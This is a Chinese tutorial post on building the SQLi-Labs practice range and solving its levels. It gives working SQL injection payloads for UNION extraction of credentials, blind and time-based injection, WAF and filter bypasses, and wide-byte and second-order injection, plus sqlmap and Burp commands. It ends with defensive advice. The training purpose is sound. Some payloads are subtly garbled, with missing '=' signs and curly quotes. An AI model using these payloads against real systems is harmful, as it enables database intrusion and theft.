SQL注入实战:从SQLi-Labs靶场搭建到WAF绕过全解析

📅 2026/6/16 9:36:43
SQL注入实战:从SQLi-Labs靶场搭建到WAF绕过全解析
1. 项目概述为什么你需要亲手搭建并通关SQLi-Labs如果你对网络安全、渗透测试或者Web应用安全感兴趣那么“SQL注入”这个词你一定不陌生。它就像Web世界里的一个经典“后门”几十年来一直高居OWASP Top 10安全风险的前列。但理论看了一百遍不如亲手实践一次。这就是SQLi-Labs存在的意义——一个专为学习和实战SQL注入漏洞而设计的开源靶场项目。简单来说SQLi-Labs不是一个需要你去攻击的真实网站而是一个故意存在各种SQL注入漏洞的“训练场”。它由安全研究员Audi-1创建并维护在GitHub上包含了从基础到高级的65个关卡Lessons涵盖了错误注入、布尔盲注、时间盲注、报错注入、堆叠查询、二次注入、HTTP头注入、WAF绕过等几乎所有主流的SQL注入攻击场景。通过亲手搭建这个环境并一关一关地去破解你能获得的不是纸上谈兵的理论而是肌肉记忆般的实战经验。你会真正理解攻击者是如何一步步试探、构造Payload、绕过防御、最终获取数据的而这种理解正是你未来从事安全开发、渗透测试或漏洞挖掘工作时构建有效防御体系的基石。2. 环境搭建与初始化从零开始构建你的安全实验室动手之前我们需要一个安全、隔离的测试环境。强烈建议在虚拟机如VMware或VirtualBox中操作避免对宿主机造成任何意外影响。2.1 基础环境准备SQLi-Labs是一个基于PHP和MySQL的Web应用因此我们需要一个标准的LAMPLinux Apache MySQL PHP或WAMPWindows环境下的同类组合环境。对于Linux以Ubuntu/Debian为例用户可以通过以下命令快速搭建sudo apt update sudo apt install apache2 mysql-server php libapache2-mod-php php-mysql -y安装完成后启动Apache和MySQL服务sudo systemctl start apache2 sudo systemctl start mysql sudo systemctl enable apache2 mysql # 设置开机自启对于Windows用户我推荐使用集成环境包如XAMPP或PHPStudy。它们将Apache、MySQL、PHP等组件打包并提供图形化控制面板一键启动和停止对新手极其友好。下载安装后通常只需点击“Start”按钮即可让Apache和MySQL服务运行起来。注意无论使用哪种系统请确保MySQL服务已运行并记住你设置的数据库root用户密码Linux安装过程中会提示设置Windows集成环境通常有默认密码如root/空密码。2.2 部署SQLi-Labs靶场环境就绪后我们来部署靶场本身。最直接的方式是从GitHub克隆项目。进入Web服务器根目录Linux:/var/www/html/Windows (XAMPP):C:\xampp\htdocs\Windows (PHPStudy): 安装目录下的www\克隆项目。打开终端或命令提示符切换到上述目录执行git clone https://github.com/Audi-1/sqli-labs.git如果未安装Git也可以直接去GitHub项目页面Audi-1/sqli-labs下载ZIP压缩包解压到该目录并将文件夹重命名为sqli-labs。关键配置数据库连接。这是最容易出错的一步。进入sqli-labs/sql-connections目录找到db-creds.inc文件。?php //give your mysql connection username n password $dbuser root; $dbpass ; $dbname security; $host localhost; $dbname1 challenges; ?你需要根据自己MySQL的实际配置修改$dbuser用户名和$dbpass密码。例如如果你在Linux安装时设置的密码是MySecurePass123或者在PHPStudy中使用了默认的root/root就对应修改。2.3 初始化数据库配置好连接信息后通过浏览器访问你的靶场。假设你部署在本机地址通常是http://localhost/sqli-labs/。页面加载后你会看到一个简单的索引页列出了所有关卡。先不要急着点开任何一关。在页面左侧或顶部找到一个名为“Setup/reset Database for labs”的链接点击它。这个页面会执行两个关键操作创建一个名为security的数据库。在该数据库中创建users,emails,uagents,referers等表并插入用于测试的模拟数据。同时它还会创建一个challenges数据库用于第54关之后的挑战关卡。如果页面显示类似于“Database setup successful...”的信息恭喜你环境搭建成功如果报错最常见的原因是db-creds.inc中的数据库密码错误或者MySQL服务没有启动。请返回检查。实操心得我强烈建议在虚拟机里做一次完整的快照Snapshot保存这个纯净且配置成功的初始状态。因为后续的练习中你可能会执行一些破坏性的SQL语句比如DROP TABLE或者想重置所有关卡进度。有了快照几秒钟就能恢复到初始状态比手动重置数据库方便得多。3. 核心注入类型深度解析与实战闯关思路SQLi-Labs的关卡设计是循序渐进的。前10关Less-1 到 Less-10是GET型注入是理解所有注入原理的基石。我们以最经典的Less-1字符型错误注入为例拆解完整的攻击链条和思维过程。3.1 Less-1字符型错误注入入门访问http://localhost/sqli-labs/Less-1/你会看到一个简单的页面提示你输入一个作为参数的ID值。第一步漏洞探测与参数类型判断在输入框尝试输入数字1页面正常显示了一个用户信息Dumb, Dumb。输入数字2显示另一个用户Angelina, I-kill-you。这说明ID参数被用于数据库查询。现在我们需要判断这个参数在后台是如何被拼接到SQL语句中的。尝试输入一个单引号‘。如果页面返回了数据库错误信息如“You have an error in your SQL syntax...”那几乎可以断定存在SQL注入漏洞并且参数是被单引号包裹的字符型。Less-1正是这种情况。后台的SQL语句可能类似于SELECT * FROM users WHERE id$id LIMIT 0,1;当我们输入‘时语句变成了SELECT ... WHERE id LIMIT 0,1单引号不匹配导致语法错误。第二步确定查询列数Order By为了使用UNION SELECT联合查询来获取我们想要的数据必须知道当前查询语句返回的列数。这里使用ORDER BY子句进行探测。1‘ order by 1 -- 1‘ order by 2 -- 1‘ order by 3 -- 1‘ order by 4 ----是注释符--后面有个空格在URL中常被解释为空格用于注释掉原SQL语句中后面的内容比如LIMIT 0,1。当测试到order by 4时页面报错而order by 3正常说明原查询结果有3列。第三步寻找数据回显点Union Select知道了列数就可以用UNION SELECT来试探哪几列的内容会显示在页面上。-1‘ union select 1,2,3 --这里将ID设为-1或一个不存在的值目的是让原查询结果为空从而确保页面显示的是我们union select的结果。如果页面某处显示了数字“2”和“3”说明第2列和第3列是回显点。第四步获取数据库信息利用回显点我们可以替换select后的内容逐步获取信息。当前数据库名-1‘ union select 1, database(), 3 --回显点会显示当前操作的数据名应该是security。所有数据库名-1‘ union select 1, group_concat(schema_name), 3 from information_schema.schemata --information_schema.schemata是MySQL的系统表存放所有数据库信息。指定数据库如security的所有表名-1‘ union select 1, group_concat(table_name), 3 from information_schema.tables where table_schema‘security’ --通常会得到emails,referers,uagents,users。指定表如users的所有列名-1‘ union select 1, group_concat(column_name), 3 from information_schema.columns where table_schema‘security’ and table_name‘users’ --得到id,username,password。最终目标脱库获取用户名和密码-1‘ union select 1, group_concat(username), group_concat(password) from users --这样所有用户的用户名和密码就会并排显示在页面的两个回显点上。这就是一个完整的基于错误回显的联合查询注入流程。Less-2到Less-4原理类似只是参数类型整数型和包裹符号括号等有所不同需要你调整Payload的闭合方式。3.2 Less-5布尔盲注实战从Less-5开始画风变了。你输入单引号可能会报错但使用union select时页面不再回显数据库数据只会显示“You are in...”或没有任何变化。这就是布尔盲注。布尔盲注的核心思想是通过构造SQL语句让页面根据我们询问的“是非题”返回不同的表现真或假从而一位一位地“猜”出数据。这个过程非常繁琐必须借助工具或脚本。手工布尔盲注思路以猜解当前数据库名第一个字符为例假设我们已知数据库名长度是8可通过length(database())8来询问确认。 我们要猜第一个字符是什么。使用substr()函数截取字符串ascii()函数将字符转为ASCII码。1‘ and ascii(substr(database(),1,1))100 --如果页面正常显示“You are in...”说明ASCII码大于100结果为“真”。如果页面无变化或报错说明不大于100结果为“假”。通过不断调整比较的数值采用二分法从100到150再到125...最终可以确定第一个字符的ASCII码是115对应字母‘s’。重复这个过程猜出所有字符“security”。自动化工具的使用手工猜解效率极低。在实际渗透测试中我们使用工具如SQLMap。针对Less-5一个基本的命令是sqlmap -u “http://localhost/sqli-labs/Less-5/?id1“ --techniqueB --current-db-u: 指定目标URL。--techniqueB: 指定使用布尔盲注技术。--current-db: 获取当前数据库名。SQLMap会自动完成探测、猜解、获取数据的所有过程。但作为学习者我建议你先手工理解原理再用工具提高效率这样才能在工具失效时知道如何手动构造Payload。3.3 Less-9 Less-10时间盲注精讲如果说布尔盲注是看页面“表情”变化那么时间盲注就是完全“盲”的。无论你输入什么页面返回都一样。这时我们引入时间延迟作为判断依据。时间盲注利用SLEEP()或BENCHMARK()函数。核心Payload结构是1‘ and if(条件, sleep(5), 1) --如果“条件”为真数据库会睡眠5秒导致页面响应延迟如果为假则立即返回。通过测量响应时间就能判断条件真假。手工时间盲注示例猜解数据库名第一个字符1‘ and if(ascii(substr(database(),1,1))115, sleep(5), 1) --用秒表或Burp Suite的Repeater模块观察响应时间。如果延迟了大约5秒说明第一个字符的ASCII码是115‘s’。时间盲注是最耗时的注入方式。自动化工具同样是必备的。SQLMap命令示例sqlmap -u “http://localhost/sqli-labs/Less-9/?id1“ --techniqueT --current-db--techniqueT指定使用时间盲注。注意事项在真实环境中时间盲注对目标数据库造成的负载较大过于频繁或长时间的SLEEP()可能触发监控告警。在练习环境中则无需担心。4. 中高级技巧与WAF绕过实战闯过基础关卡后SQLi-Labs的中后段关卡开始引入现实世界中更复杂的情况例如过滤特殊字符、绕过WAFWeb应用防火墙等。4.1 Less-23过滤注释符的绕过Less-23的源码中注释符--和#被过滤掉了。在之前的Payload中我们依赖注释符来“注释”掉原SQL语句的后半部分。现在怎么办思路不依赖注释而是完美闭合原语句。假设原语句是SELECT * FROM users WHERE id‘$id’ LIMIT 0,1。 如果我们输入1‘ union select 1,2,3‘拼接后成为SELECT * FROM users WHERE id‘1‘ union select 1,2,3‘‘ LIMIT 0,1注意我们用了两个单引号第一个闭合了id值的引号最后一个引号闭合了union select后面那个用于“占位”的字符串这里我们假设第三列是字符串类型。这样整个语句的引号也是闭合的LIMIT子句依然有效且语法正确。关键在于判断原查询各列的数据类型并用对应的值数字或带引号的字符串去匹配。4.2 Less-25 Less-25a过滤OR和AND这一关过滤了OR和AND不区分大小写。这直接影响了我们构造布尔逻辑。绕过技巧双写绕过、等价替换。双写绕过有些简单的过滤是替换为空。我们可以尝试OORR当中间的OR被删除后剩下的OR依然成立。但Less-25的过滤可能更严格。使用符号等价替换AND可以用替换。OR可以用||替换。例如1‘ 11 --等价于1‘ and 11 --。4.3 Less-27联合过滤SELECT和UNION这一关同时过滤了SELECT和UNION。我们需要进行嵌套或混淆。绕过技巧大小写混淆、内联注释、特殊编码。大小写混淆SeLeCt,UnIoN。简单的正则过滤/select/i可能失效。内联注释MySQL中/*!...*/中的内容会被执行。/*!50000union*/ /*!50000select*/。其中的50000表示当MySQL版本大于等于5.00.00时才执行。等价函数替换虽然困难但有时可以用PROCEDURE ANALYSE()等函数尝试触发错误回显但不如联合查询直接。4.4 Less-32 to Less-37宽字节注入与编码绕过当应用使用addslashes()或mysql_real_escape_string()等函数对单引号进行转义在单引号前加反斜杠\‘时普通的‘注入会失效。但如果在数据库连接层使用了GBK、BIG5等宽字符集就可能存在宽字节注入漏洞。原理在GBK编码中一个汉字由两个字节组成。反斜杠\的ASCII码是0x5c。如果我们输入一个字符其高字节与0x5c组合能形成一个合法的GBK字符那么\就会被“吃掉”从而使后面的单引号逃逸。 例如输入%df‘%df是URL编码。经过转义函数处理变成了%df\‘即0xdf 0x5c 0x27。在GBK环境下0xdf5c恰好对应一个繁体字“運”于是数据库接收到的就是運‘单引号成功逃逸。Payload示例%df‘ union select 1,2,3 --在Less-32中你需要将浏览器或代理工具的请求编码设置为GBK或者直接使用URL编码%df%27来提交。4.5 Less-54 to Less-65挑战关卡与二次注入从第54关开始是“挑战关卡”目标是在10次请求内获取到随机的密钥。这综合考验了你对注入点的快速判断、Payload的高效构造以及工具的使用能力。二次注入是另一个重要概念在Less-24中有专门练习。它的流程是攻击者将恶意Payload例如包含SQL代码的字符串通过一个可信的入口如用户注册、留言存入数据库。由于存入时经过了转义处理数据被安全地存储。之后当应用程序从数据库取出这些数据并不加过滤地用于另一个SQL查询时注入就发生了。 例如注册用户名为admin‘--注意有个空格密码随意。转义后存入数据库的就是admin‘--。当应用后续执行“修改密码”的SQL语句UPDATE users SET password‘$new_pass’ WHERE username‘$name’时从数据库取出的用户名admin‘--被直接拼接进去语句变为UPDATE users SET password‘newpass’ WHERE username‘admin‘-- ‘这会导致修改的是admin用户的密码而非攻击者自己的密码。二次注入非常隐蔽因为触发点远离了最初的输入点。5. 工具链集成与自动化实战虽然手工注入是理解原理的根本但实战中效率至关重要。将SQLi-Labs与专业工具结合能极大提升学习效率和实战手感。5.1 Burp Suite拦截、重放与爆破Burp Suite是Web安全测试的“瑞士军刀”。在SQLi-Labs练习中它主要扮演两个角色拦截与修改请求配置浏览器代理如127.0.0.1:8080后所有流量经过Burp。你可以拦截一个正常的/Less-1/?id1请求然后在Repeater模块中手动修改id参数的值反复发送不同的Payload观察响应。这比在浏览器地址栏里修改方便、清晰得多。Intruder模块进行自动化猜解对于布尔盲注或时间盲注手工猜解一个字符都费时费力。Burp Intruder可以自动化这个过程。以猜解数据库名为例先发送一个包含标记的请求GET /Less-5/?id1‘ and ascii(substr(database(),§1§,1))§§ --。在Intruder中将第一个§1§位置设为从1到10的数字序列假设库名长度不超过10。将第二个§§ASCII值设为从32到126的数字序列可打印字符范围。根据响应长度或状态码的差异布尔盲注下“真”和“假”的页面通常有细微差别如一个单词的有无筛选出正确的ASCII码。虽然配置起来比SQLMap复杂但这个过程能让你对自动化猜解的原理有更深刻的理解。5.2 SQLMap全自动注入神器SQLMap是专为SQL注入而生的自动化工具。对于SQLi-Labs它几乎可以“通杀”所有关卡。但作为学习者我们的目标不是一键获取答案而是学习如何有效使用它。基础扫描与信息获取# 基本检测判断是否存在注入点及类型 sqlmap -u “http://localhost/sqli-labs/Less-1/?id1“ # 获取所有数据库名 sqlmap -u “http://localhost/sqli-labs/Less-1/?id1“ --dbs # 获取当前数据库名 sqlmap -u “http://localhost/sqli-labs/Less-1/?id1“ --current-db # 获取指定数据库security的所有表 sqlmap -u “http://localhost/sqli-labs/Less-1/?id1“ -D security --tables # 获取指定表users的所有列 sqlmap -u “http://localhost/sqli-labs/Less-1/?id1“ -D security -T users --columns # 导出指定表的所有数据 sqlmap -u “http://localhost/sqli-labs/Less-1/?id1“ -D security -T users --dump应对特殊关卡POST型注入Less-11之后使用--data参数。sqlmap -u “http://localhost/sqli-labs/Less-11/“ --data“unameadminpasswdadminsubmitSubmit“Cookie/Header注入使用--cookie或--headers参数或者用Burp抓包后保存为文件用-r参数加载。sqlmap -r request.txt # request.txt是保存的HTTP请求文件指定注入技术如果自动检测不准可以手动指定。sqlmap -u “...” --techniqueU # 联合查询 sqlmap -u “...” --techniqueB # 布尔盲注 sqlmap -u “...” --techniqueT # 时间盲注绕过WAFSQLMap内置了tamper脚本可以对Payload进行编码、混淆以绕过简单过滤。sqlmap -u “...” --tamperspace2comment,charencode实操心得不要过度依赖SQLMap的“一键通杀”。对于每一关先用它跑一下看它能检测出什么类型用了哪些Payload。然后尝试关闭自动功能--batch手动指定参数和技巧模仿它的Payload进行手工注入练习。这样既能了解工具的原理又能锻炼手工能力。6. 从靶场到实战防御思维与技能迁移通关SQLi-Labs不是终点而是起点。真正的价值在于将攻击经验转化为防御能力。6.1 深入理解漏洞根源通过分析SQLi-Labs的源码在每一关的文件夹里都有对应的*.php文件你可以看到漏洞是如何产生的。无一例外都是因为将用户输入直接拼接到了SQL语句中且没有进行有效的过滤或转义。错误的做法动态拼接$id $_GET[‘id’]; $sql “SELECT * FROM users WHERE id‘$id‘ LIMIT 0,1”; $result mysql_query($sql);6.2 掌握核心防御方案使用参数化查询预编译语句这是最根本、最有效的防御手段。数据库引擎会预先编译SQL语句的结构用户输入的数据仅作为参数传入不会被解释为SQL代码。PDO (PHP)$stmt $pdo-prepare(“SELECT * FROM users WHERE id :id”); $stmt-execute([‘id’ $id]); $results $stmt-fetchAll();MySQLi (PHP)$stmt $conn-prepare(“SELECT * FROM users WHERE id ?”); $stmt-bind_param(“i”, $id); // “i”表示整数类型 $stmt-execute(); $result $stmt-get_result();严格的输入验证与过滤如果因历史遗留问题无法全面使用预编译则必须进行严格的输入处理。白名单验证对于已知有限集合的参数如状态码1,2,3只允许列表内的值。$allowed_ids [1, 2, 3]; if (!in_array($id, $allowed_ids)) { die(‘Invalid ID’); }类型强制转换对于整数型ID直接转为整数。$id (int)$_GET[‘id’];谨慎使用转义函数mysqli_real_escape_string()或addslashes()只能用于字符串且需注意字符集问题宽字节注入的根源。它不如预编译安全可作为最后一道补充防线。最小权限原则连接数据库的应用程序账号不应拥有DROP,CREATE,FILE等高危权限通常只赋予SELECT,INSERT,UPDATE,DELETE等必要权限。错误信息处理切勿将详细的数据库错误信息直接返回给前端用户。应使用自定义的通用错误页面同时在后台日志中记录详细错误供调试。6.3 建立持续学习与实战路径通关SQLi-Labs后你的Web安全学习之路才刚刚开始。建议的后续路径其他经典靶场DVWA (Damn Vulnerable Web Application)综合性强包含SQL注入、XSS、CSRF、文件上传等多种漏洞且可调节难度。WebGoat由OWASP维护更像一个交互式教程每个漏洞都有详细的教学和练习。PortSwigger Web Security Academy (原Burp Suite Academy)免费且质量极高每个主题都有详细的讲解、实验和挑战。参与合法众测与CTF在像HackerOne、Bugcrowd这样的平台上寻找有公开众测项目的企业在规则内进行测试。或者参加CTFCapture The Flag比赛其中的Web题目往往是各种漏洞技巧的集大成者。代码审计尝试阅读一些开源项目的源码用你学到的“攻击者视角”去寻找可能的安全隐患。从简单的CMS系统开始这是将理论转化为发现真实漏洞能力的关键一步。我个人在带新人时总会让他们从SQLi-Labs开始。不是因为它是最高深的而是因为它能最直观地建立起“输入导致程序逻辑改变”的漏洞思维模型。当你花了几个小时通过一串精心构造的字符从一个看似普通的输入框里拿到了整个数据库的权限时那种对漏洞威力的深刻认知是任何教科书都无法给予的。记住这种感觉然后转身用同样的专注去思考如何构建无法被攻破的城墙。这才是SQLi-Labs带给一个安全从业者最宝贵的财富。